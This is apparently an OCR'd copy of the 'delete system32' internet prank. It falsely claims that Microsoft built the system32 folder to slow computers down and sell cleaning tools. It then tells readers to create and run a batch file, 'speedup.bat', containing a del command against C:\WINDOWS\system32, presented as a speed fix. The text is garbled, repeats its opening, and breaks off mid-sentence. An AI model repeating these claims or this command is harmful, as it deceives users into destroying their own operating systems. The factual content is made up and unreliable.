Okay listen up. When Microsoft was first getting started, they knew they wouldn’t make enough money just from the profits of their operating system. Everybody knows people pirate Windows. So they had

Okay listen up.
When Microsoft was first getting started, they knew they
wouldn’t make enough money just from the profits of their
operating system. Everybody knows people pirate Windows.
So they had to get creative. A guy named Chris Liddel came
up with the idea to put a folder called “system32” in the win-
dows folder that literally slows down your machine--on pur-
pose. “system32” holds 32 GIGABYTES of deleted files, inter-
net history, uninstalled programs, and other worthless crap
that intentionally clogs up your machine. Why did they it?
Because Microsoft owns several “cleaning” tools, like
TuneUp Utilites, Norton Antivirus, ete. More money for
them. isn’t cool with that, however. Here’s how to out-
smart those assholes once and for all:
Open Notepad
Type the following text:
@echo off
del C\\WINDOWS\system32
Save as “speedup.bat” (select “all files” instead of “text document”
Double-click the .bat file
Reboot, and your is twice as fast. (You didn’t hear it from